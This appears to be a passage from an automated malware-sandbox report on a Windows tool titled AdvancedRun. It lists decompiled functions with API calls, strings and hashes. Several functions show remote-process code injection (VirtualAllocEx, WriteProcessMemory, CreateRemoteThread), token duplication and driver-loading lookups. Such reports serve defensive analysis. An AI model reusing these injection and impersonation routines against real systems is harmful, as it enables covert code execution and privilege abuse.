Function 00408F48, Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408F48(void* __ecx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				void* _t8;
				void* _t13;

				_v8 = _v8 & 0x00000000;
				_t8 = E00408FC9( &_v8, __eflags, _a4); // executed
				_t13 = _t8;
				if(_v8 != 0) {
					FreeLibrary(_v8);
				}
				return _t13;
			}

0x00408f4c
0x00408f57
0x00408f60
0x00408f62
0x00408f67
0x00408f67
0x00408f71

APIs

Part of subcall function 00408FC9: GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8
Part of subcall function 00408FC9: GetLastError.KERNEL32(00000000), ref: 00408FEA

FreeLibrary.KERNEL32(00000000,?,?,?,?,004085BD,SeDebugPrivilege,00000000,?,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408F67

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentErrorFreeLastLibraryProcess
String ID:
API String ID: 187924719-0
Opcode ID: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction ID: 8dfc096080dba386992b60ff887e92109f2b64d1c6b3d0c2bddabb0c4d0164ae
Opcode Fuzzy Hash: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction Fuzzy Hash: D6D01231511119FBDF109B91CE06BCDBB79DB00399F104179E400B2190D7759F04E694

Uniqueness

Uniqueness Score: -1.00%

Function 004098F9, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004098F9(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				intOrPtr* _t6;
				void* _t8;
				struct HINSTANCE__** _t10;

				_t10 = __eax;
				E00409921(__eax);
				_t6 =  *((intOrPtr*)(_t10 + 0x10));
				if(_t6 == 0) {
					return 0;
				}
				_t8 =  *_t6(_a4, 0, _a8, 0x104); // executed
				return _t8;
			}

0x004098fa
0x004098fc
0x00409901
0x00409907
0x00000000
0x0040991c
0x00409918
0x00000000

APIs

Part of subcall function 00409921: GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

K32GetModuleFileNameExW.KERNEL32(00000104,00000000,004096DF,00000104,004096DF,00000000,?), ref: 00409918

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$FileModuleName
String ID:
API String ID: 3859505661-0
Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction ID: 0481de772a0e6c3324847b7c7a0c8cc4c6a15655966ff13cfb2205d1ba48b523
Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction Fuzzy Hash: 26D0A9B22183006BD620AAB08C00B4BA2D47B80710F008C2EB590E22D2D274CD105208

Uniqueness

Uniqueness Score: -1.00%

Function 004095DA, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004095DA(signed int* __edi) {
				void* __esi;
				struct HINSTANCE__* _t3;
				signed int* _t7;

				_t7 = __edi;
				_t3 =  *__edi;
				if(_t3 != 0) {
					FreeLibrary(_t3); // executed
					 *__edi =  *__edi & 0x00000000;
				}
				E004099D4( &(_t7[0xa]));
				return E004099D4( &(_t7[6]));
			}

0x004095da
0x004095da
0x004095de
0x004095e1
0x004095e7
0x004095e7
0x004095ee
0x004095fc

APIs

FreeLibrary.KERNELBASE(00000000,00401DF2,?,00000000,?,?,00000000), ref: 004095E1

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction ID: 13308881ed9fba3be053afa591bd741d52050d54eca683c3f8d57f3833d878b6
Opcode Fuzzy Hash: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction Fuzzy Hash: 5DD0C973401113EBDB01BB26EC856957368BF00315B15012AA801B35E2C738BDA6CAD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3C1, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A3C1(struct HINSTANCE__* _a4, WCHAR* _a8) {

				EnumResourceNamesW(_a4, _a8, E0040A33B, 0); // executed
				return 1;
			}

0x0040a3d0
0x0040a3d9

APIs

EnumResourceNamesW.KERNELBASE(?,?,0040A33B,00000000), ref: 0040A3D0

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction ID: 553cc51789f51932b097ae14593f850e519bfff9ece1921d1baa913e09089cf7
Opcode Fuzzy Hash: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction Fuzzy Hash: 17C09B3215C341D7D7019F208C15F1EF695BB59701F104C39B191A40E0C77140349A05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00408E31, Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 57
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E31() {
				void* _t1;
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t14;

				if( *0x41c4ac == 0) {
					_t2 = GetModuleHandleW(L"ntdll.dll");
					 *0x41c4ac = _t2;
					 *0x41c47c = GetProcAddress(_t2, "NtQuerySystemInformation");
					 *0x41c480 = GetProcAddress( *0x41c4ac, "NtLoadDriver");
					 *0x41c484 = GetProcAddress( *0x41c4ac, "NtUnloadDriver");
					 *0x41c488 = GetProcAddress( *0x41c4ac, "NtOpenSymbolicLinkObject");
					 *0x41c48c = GetProcAddress( *0x41c4ac, "NtQuerySymbolicLinkObject");
					 *0x41c490 = GetProcAddress( *0x41c4ac, "NtQueryObject");
					 *0x41c494 = GetProcAddress( *0x41c4ac, "NtOpenThread");
					 *0x41c498 = GetProcAddress( *0x41c4ac, "NtClose");
					 *0x41c49c = GetProcAddress( *0x41c4ac, "NtQueryInformationThread");
					 *0x41c4a0 = GetProcAddress( *0x41c4ac, "NtSuspendThread");
					 *0x41c4a4 = GetProcAddress( *0x41c4ac, "NtResumeThread");
					_t14 = GetProcAddress( *0x41c4ac, "NtTerminateThread");
					 *0x41c4a8 = _t14;
					return _t14;
				}
				return _t1;
			}

0x00408e38
0x00408e44
0x00408e56
0x00408e68
0x00408e7a
0x00408e8c
0x00408e9e
0x00408eb0
0x00408ec2
0x00408ed4
0x00408ee6
0x00408ef8
0x00408f0a
0x00408f1c
0x00408f21
0x00408f23
0x00000000
0x00408f28
0x00408f29

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,?,004097C3), ref: 00408E44
GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00408E5B
GetProcAddress.KERNEL32(NtLoadDriver), ref: 00408E6D
GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00408E7F
GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 00408E91
GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 00408EA3
GetProcAddress.KERNEL32(NtQueryObject), ref: 00408EB5
GetProcAddress.KERNEL32(NtOpenThread), ref: 00408EC7
GetProcAddress.KERNEL32(NtClose), ref: 00408ED9
GetProcAddress.KERNEL32(NtQueryInformationThread), ref: 00408EEB
GetProcAddress.KERNEL32(NtSuspendThread), ref: 00408EFD
GetProcAddress.KERNEL32(NtResumeThread), ref: 00408F0F
GetProcAddress.KERNEL32(NtTerminateThread), ref: 00408F21

Strings

NtQuerySymbolicLinkObject, xrefs: 00408E93
NtQuerySystemInformation, xrefs: 00408E50
NtTerminateThread, xrefs: 00408F11
NtUnloadDriver, xrefs: 00408E6F
NtQueryObject, xrefs: 00408EA5
NtQueryInformationThread, xrefs: 00408EDB
NtClose, xrefs: 00408EC9
NtResumeThread, xrefs: 00408EFF
ntdll.dll, xrefs: 00408E3F
NtLoadDriver, xrefs: 00408E5D
NtOpenThread, xrefs: 00408EB7
NtSuspendThread, xrefs: 00408EED
NtOpenSymbolicLinkObject, xrefs: 00408E81

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: NtClose$NtLoadDriver$NtOpenSymbolicLinkObject$NtOpenThread$NtQueryInformationThread$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeThread$NtSuspendThread$NtTerminateThread$NtUnloadDriver$ntdll.dll
API String ID: 667068680-4280973841
Opcode ID: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction ID: 9046f7da5280d7be643cb990a4133c03c86fae9b85e8e19c009a309f84c5646f
Opcode Fuzzy Hash: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction Fuzzy Hash: 6611AD74DC8315EECB516FB1BCE9AA67E61EB08760710C437A809632B1D77A8018DF4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040A46C, Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 208
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040A46C(void* __ecx, void* __eflags, void* _a4, void* _a8, void* _a12, void* _a16, intOrPtr _a20, char _a24, void* _a28, intOrPtr _a32) {
				char _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				char _v564;
				char _v16950;
				char _v33336;
				_Unknown_base(*)()* _v33348;
				_Unknown_base(*)()* _v33352;
				void _v33420;
				void _v33432;
				void _v33436;
				intOrPtr _v66756;
				intOrPtr _v66760;
				void _v66848;
				void _v66852;
				void* __edi;
				void* _t76;
				_Unknown_base(*)()* _t84;
				_Unknown_base(*)()* _t87;
				void* _t90;
				signed int _t126;
				struct HINSTANCE__* _t128;
				intOrPtr* _t138;
				void* _t140;
				void* _t144;
				void* _t147;
				void* _t148;

				E0040B550(0x10524, __ecx);
				_t138 = _a4;
				_v12 = 0;
				 *_t138 = 0;
				_t76 = OpenProcess(0x1f0fff, 0, _a8);
				_a8 = _t76;
				if(_t76 == 0) {
					 *_t138 = GetLastError();
					L30:
					return _v12;
				}
				_v33436 = 0;
				memset( &_v33432, 0, 0x8284);
				_t148 = _t147 + 0xc;
				_t128 = GetModuleHandleW(L"kernel32.dll");
				_v8 = 0;
				E00409C70( &_v8);
				_push("CreateProcessW");
				_push(_t128);
				if(_v8 == 0) {
					_t84 = GetProcAddress();
				} else {
					_t84 = _v8();
				}
				_v33352 = _t84;
				E00409C70( &_v8);
				_push("GetLastError");
				_push(_t128);
				if(_v8 == 0) {
					_t87 = GetProcAddress();
				} else {
					_t87 = _v8();
				}
				_t140 = _a28;
				_v33348 = _t87;
				if(_t140 != 0) {
					_t126 = 0x11;
					memcpy( &_v33420, _t140, _t126 << 2);
					_t148 = _t148 + 0xc;
				}
				_v33420 = 0x44;
				if(_a16 == 0) {
					_v33336 = 1;
				} else {
					E00404923(0x2000,  &_v33336, _a16);
				}
				if(_a12 == 0) {
					_v16950 = 1;
				} else {
					E00404923(0x2000,  &_v16950, _a12);
				}
				if(_a24 == 0) {
					_v564 = 1;
				} else {
					E00404923(0x104,  &_v564, _a24);
				}
				_v24 = _a20;
				_v28 = 0;
				_a16 = VirtualAllocEx(_a8, 0, 0x8288, 0x1000, 4);
				_t90 = VirtualAllocEx(_a8, 0, 0x800, 0x1000, 0x40);
				_a12 = _t90;
				if(_a16 == 0 || _t90 == 0) {
					 *_a4 = GetLastError();
				} else {
					WriteProcessMemory(_a8, _t90, E0040A3DC, 0x800, 0);
					WriteProcessMemory(_a8, _a16,  &_v33436, 0x8288, 0);
					_v20 = 0;
					_v16 = 0;
					_a24 = 0;
					_t144 = E0040A272( &_v20, _a8, _a12, _a16,  &_a24);
					_a28 = _t144;
					if(_t144 == 0) {
						 *_a4 = GetLastError();
					} else {
						ResumeThread(_t144);
						WaitForSingleObject(_t144, 0x7d0);
						CloseHandle(_t144);
					}
					_v66852 = 0;
					memset( &_v66848, 0, 0x8284);
					ReadProcessMemory(_a8, _a16,  &_v66852, 0x8288, 0);
					VirtualFreeEx(_a8, _a16, 0, 0x8000);
					VirtualFreeEx(_a8, _a12, 0, 0x8000);
					if(_a28 != 0) {
						 *_a4 = _v66756;
						_v12 = _v66760;
						if(_a32 != 0) {
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
						}
					}
					if(_v20 != 0) {
						FreeLibrary(_v20);
					}
				}
				goto L30;
			}

0x0040a474
0x0040a47b
0x0040a48a
0x0040a48d
0x0040a48f
0x0040a497
0x0040a49a
0x0040a6f7
0x0040a6f9
0x0040a700
0x0040a700
0x0040a4ad
0x0040a4b3
0x0040a4b8
0x0040a4c6
0x0040a4cc
0x0040a4cf
0x0040a4dd
0x0040a4e2
0x0040a4e3
0x0040a4ea
0x0040a4e5
0x0040a4e5
0x0040a4e5
0x0040a4ec
0x0040a4f6
0x0040a4fe
0x0040a503
0x0040a504
0x0040a50b
0x0040a506
0x0040a506
0x0040a506
0x0040a50d
0x0040a512
0x0040a518
0x0040a51c
0x0040a523
0x0040a523
0x0040a523
0x0040a528
0x0040a537
0x0040a54c
0x0040a539
0x0040a544
0x0040a549
0x0040a558
0x0040a56d
0x0040a55a
0x0040a565
0x0040a56a
0x0040a579
0x0040a591
0x0040a57b
0x0040a589
0x0040a58e
0x0040a5b4
0x0040a5b7
0x0040a5cc
0x0040a5cf
0x0040a5d4
0x0040a5d7
0x0040a6ed
0x0040a5e5
0x0040a5fa
0x0040a60b
0x0040a61a
0x0040a620
0x0040a623
0x0040a62b
0x0040a62f
0x0040a632
0x0040a659
0x0040a634
0x0040a635
0x0040a641
0x0040a648
0x0040a648
0x0040a668
0x0040a66e
0x0040a685
0x0040a69e
0x0040a6a8
0x0040a6ad
0x0040a6bd
0x0040a6c5
0x0040a6c8
0x0040a6d0
0x0040a6d1
0x0040a6d2
0x0040a6d3
0x0040a6d3
0x0040a6c8
0x0040a6d7
0x0040a6dc
0x0040a6dc
0x0040a6d7
0x00000000

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,00000000,?,00402225,?,00000000,?,?,?,?,?,?), ref: 0040A48F
memset.MSVCRT ref: 0040A4B3
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00000000), ref: 0040A4C0

Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CE4
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CF1

GetProcAddress.KERNEL32(00000000,CreateProcessW), ref: 0040A4EA
GetProcAddress.KERNEL32(00000000,GetLastError), ref: 0040A50B
VirtualAllocEx.KERNEL32(?,00000000,00008288,00001000,00000004), ref: 0040A5BA
VirtualAllocEx.KERNEL32(?,00000000,00000800,00001000,00000040), ref: 0040A5CF
WriteProcessMemory.KERNEL32(?,00000000,0040A3DC,00000800,00000000), ref: 0040A5FA
WriteProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A60B
ResumeThread.KERNEL32(00000000,?,?,?,?), ref: 0040A635
WaitForSingleObject.KERNEL32(00000000,000007D0), ref: 0040A641
CloseHandle.KERNEL32(00000000), ref: 0040A648
memset.MSVCRT ref: 0040A66E
ReadProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A685
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A69E
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A6A8
FreeLibrary.KERNEL32(?), ref: 0040A6DC
GetLastError.KERNEL32 ref: 0040A6E4
GetLastError.KERNEL32(?,00402225,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0040A6F1

Strings

D, xrefs: 0040A528
CreateProcessW, xrefs: 0040A4DD
GetLastError, xrefs: 0040A4FE
kernel32.dll, xrefs: 0040A4BB

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleProcProcessVirtual$FreeMemoryModule$AllocErrorLastWritememsetstrlen$CloseLibraryObjectOpenReadResumeSingleThreadWait
String ID: CreateProcessW$D$GetLastError$kernel32.dll
API String ID: 1572607441-20550370
Opcode ID: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction ID: 438c2ff444ec8f0d87d8749b995af300a635889f814f068fc812e1417cff7fa3
Opcode Fuzzy Hash: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction Fuzzy Hash: 557127B1800219EFCB109FA0DD8499E7BB5FF08344F14457AF949B6290CB799E90DF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040289F, Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 25
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040289F(intOrPtr* __esi) {
				void* _t9;
				struct HINSTANCE__* _t10;
				_Unknown_base(*)()* _t14;

				if( *(__esi + 0x10) == 0) {
					_t10 = LoadLibraryW(L"advapi32.dll");
					 *(__esi + 0x10) = _t10;
					 *((intOrPtr*)(__esi + 0xc)) = GetProcAddress(_t10, "CreateProcessWithLogonW");
					 *((intOrPtr*)(__esi)) = GetProcAddress( *(__esi + 0x10), "CreateProcessWithTokenW");
					 *((intOrPtr*)(__esi + 4)) = GetProcAddress( *(__esi + 0x10), "OpenProcessToken");
					_t14 = GetProcAddress( *(__esi + 0x10), "DuplicateTokenEx");
					 *(__esi + 8) = _t14;
					return _t14;
				}
				return _t9;
			}

0x004028a3
0x004028ab
0x004028bd
0x004028ca
0x004028d7
0x004028e3
0x004028e6
0x004028e8
0x00000000
0x004028eb
0x004028ec

APIs

LoadLibraryW.KERNEL32(advapi32.dll,?,00402271,?,?,00000000), ref: 004028AB
GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 004028C0
GetProcAddress.KERNEL32(00000000,CreateProcessWithTokenW), ref: 004028CD
GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 004028D9
GetProcAddress.KERNEL32(00000000,DuplicateTokenEx), ref: 004028E6

Strings

CreateProcessWithTokenW, xrefs: 004028C2
CreateProcessWithLogonW, xrefs: 004028B7
OpenProcessToken, xrefs: 004028CF
advapi32.dll, xrefs: 004028A6
DuplicateTokenEx, xrefs: 004028DB

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessWithLogonW$CreateProcessWithTokenW$DuplicateTokenEx$OpenProcessToken$advapi32.dll
API String ID: 2238633743-1970996977
Opcode ID: 736db8e764dc1c3a829da2c2b507ec82b50fe6502085f5c463c853d5cc7dc2a7
Instruction ID: fe34eb2af2a63a360b7e1287e200b812ce4d940bd8def4616d2569e5b7a8a532
Opcode Fuzzy Hash: 736db8e764dc1c3a829da2c2b507ec82b50fe6502085f5c463c853d5cc7dc2a7
Instruction Fuzzy Hash: AEF09874A40708EBCB30EFB59D49B07BAF5FB94710B114F2AE49662690D7B8A004CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040A272, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040A272(struct HINSTANCE__** __eax, void* _a4, _Unknown_base(*)()* _a8, void* _a12, DWORD* _a16) {
				void* _v8;
				char _v12;
				char* _v20;
				long _v24;
				intOrPtr _v28;
				char* _v36;
				signed int _v40;
				void _v44;
				char _v48;
				char _v52;
				struct _OSVERSIONINFOW _v328;
				void* __esi;
				signed int _t40;
				intOrPtr* _t44;
				void* _t49;
				struct HINSTANCE__** _t54;
				signed int _t55;

				_t54 = __eax;
				_v328.dwOSVersionInfoSize = 0x114;
				GetVersionExW( &_v328);
				if(_v328.dwMajorVersion < 6) {
					return CreateRemoteThread(_a4, 0, 0, _a8, _a12, 4, _a16);
				}
				E0040A1EF(_t54);
				_t44 =  *((intOrPtr*)(_t54 + 4));
				if(_t44 != 0) {
					_t55 = 8;
					memset( &_v44, 0, _t55 << 2);
					_v12 = 0;
					asm("stosd");
					_v36 =  &_v12;
					_v20 =  &_v52;
					_v48 = 0x24;
					_v44 = 0x10003;
					_v40 = _t55;
					_v28 = 0x10004;
					_v24 = 4;
					_a16 = 0;
					_t40 =  *_t44( &_a16, 0x1fffff, 0, _a4, _a8, _a12, 1, 0, 0, 0,  &_v48, _t49);
					asm("sbb eax, eax");
					return  !( ~_t40) & _a16;
				}
				return 0;
			}

0x0040a27d
0x0040a286
0x0040a290
0x0040a29d
0x00000000
0x0040a32f
0x0040a29f
0x0040a2a4
0x0040a2ad
0x0040a2b6
0x0040a2bc
0x0040a2be
0x0040a2c4
0x0040a2c8
0x0040a2ce
0x0040a2e3
0x0040a2ed
0x0040a2fb
0x0040a2fe
0x0040a305
0x0040a30c
0x0040a30f
0x0040a313
0x00000000
0x0040a31a
0x0040a338

APIs

GetVersionExW.KERNEL32(?,76D268A0,00000000), ref: 0040A290
CreateRemoteThread.KERNEL32(?,00000000,00000000,?,?,00000004,?), ref: 0040A32F

Part of subcall function 0040A1EF: LoadLibraryW.KERNEL32(ntdll.dll,?,?,?,?,0040A2A4), ref: 0040A1FF
Part of subcall function 0040A1EF: GetProcAddress.KERNEL32(00000000,?), ref: 0040A263

Strings

$, xrefs: 0040A2E3

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCreateLibraryLoadProcRemoteThreadVersion
String ID: $
API String ID: 283512611-3993045852
Opcode ID: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction ID: f7bb912936b7b9019fec647a10c74351ea71fc4cb5320a39ef1905a9d188216f
Opcode Fuzzy Hash: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction Fuzzy Hash: CC216DB290020DEFDF11CF94DD44AEE7BB9FB88704F00802AFA05B6190D7B59A54CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401093, Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401093(void* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8, unsigned int _a12) {
				struct tagPOINT _v12;
				void* __esi;
				void* _t47;
				struct HBRUSH__* _t56;
				void* _t61;
				unsigned int _t63;
				void* _t68;
				struct HWND__* _t69;
				struct HWND__* _t70;
				void* _t73;
				unsigned int _t74;
				struct HWND__* _t76;
				struct HWND__* _t77;
				struct HWND__* _t78;
				struct HWND__* _t79;
				unsigned int _t85;
				struct HWND__* _t87;
				struct HWND__* _t89;
				struct HWND__* _t90;
				struct tagPOINT _t96;
				struct tagPOINT _t98;
				signed short _t103;
				void* _t106;
				void* _t117;

				_t106 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t47 = _a4 - 0x110;
				_t117 = __ecx;
				if(_t47 == 0) {
					__eflags =  *0x40feb0;
					if(__eflags != 0) {
						SetDlgItemTextW( *(__ecx + 0x10), 0x3ee, 0x40feb0);
					} else {
						ShowWindow(GetDlgItem( *(__ecx + 0x10), 0x3ed), 0);
						ShowWindow(GetDlgItem( *(_t117 + 0x10), 0x3ee), 0);
					}
					SetWindowTextW( *(_t117 + 0x10), L"AdvancedRun");
					SetDlgItemTextW( *(_t117 + 0x10), 0x3ea, _t117 + 0x40);
					SetDlgItemTextW( *(_t117 + 0x10), 0x3ec, _t117 + 0x23e);
					E0040103E(_t117, __eflags);
					E00404DA9(_t106,  *(_t117 + 0x10), 4);
					goto L30;
				} else {
					_t61 = _t47 - 1;
					if(_t61 == 0) {
						_t103 = _a8;
						_t63 = _t103 >> 0x10;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							L24:
							__eflags = _t63;
							if(_t63 != 0) {
								goto L30;
							} else {
								EndDialog( *(_t117 + 0x10), _t103 & 0x0000ffff);
								DeleteObject( *(_t117 + 0x43c));
								goto L8;
							}
						} else {
							__eflags = _t103 - 2;
							if(_t103 != 2) {
								goto L30;
							} else {
								goto L24;
							}
						}
					} else {
						_t68 = _t61 - 0x27;
						if(_t68 == 0) {
							_t69 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
							__eflags = _a12 - _t69;
							if(_a12 != _t69) {
								__eflags =  *0x40ff30;
								if( *0x40ff30 == 0) {
									goto L30;
								} else {
									_t70 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
									__eflags = _a12 - _t70;
									if(_a12 != _t70) {
										goto L30;
									} else {
										goto L18;
									}
								}
							} else {
								L18:
								SetBkMode(_a8, 1);
								SetTextColor(_a8, 0xc00000);
								_t56 = GetSysColorBrush(0xf);
							}
						} else {
							_t73 = _t68 - 0xc8;
							if(_t73 == 0) {
								_t74 = _a12;
								_t96 = _t74 & 0x0000ffff;
								_v12.x = _t96;
								_v12.y = _t74 >> 0x10;
								_t76 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
								_push(_v12.y);
								_a8 = _t76;
								_t77 = ChildWindowFromPoint( *(_t117 + 0x10), _t96);
								__eflags = _t77 - _a8;
								if(_t77 != _a8) {
									__eflags =  *0x40ff30;
									if( *0x40ff30 == 0) {
										goto L30;
									} else {
										_t78 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
										_push(_v12.y);
										_t79 = ChildWindowFromPoint( *(_t117 + 0x10), _v12.x);
										__eflags = _t79 - _t78;
										if(_t79 != _t78) {
											goto L30;
										} else {
											goto L13;
										}
									}
								} else {
									L13:
									SetCursor(LoadCursorW(GetModuleHandleW(0), 0x67));
									goto L8;
								}
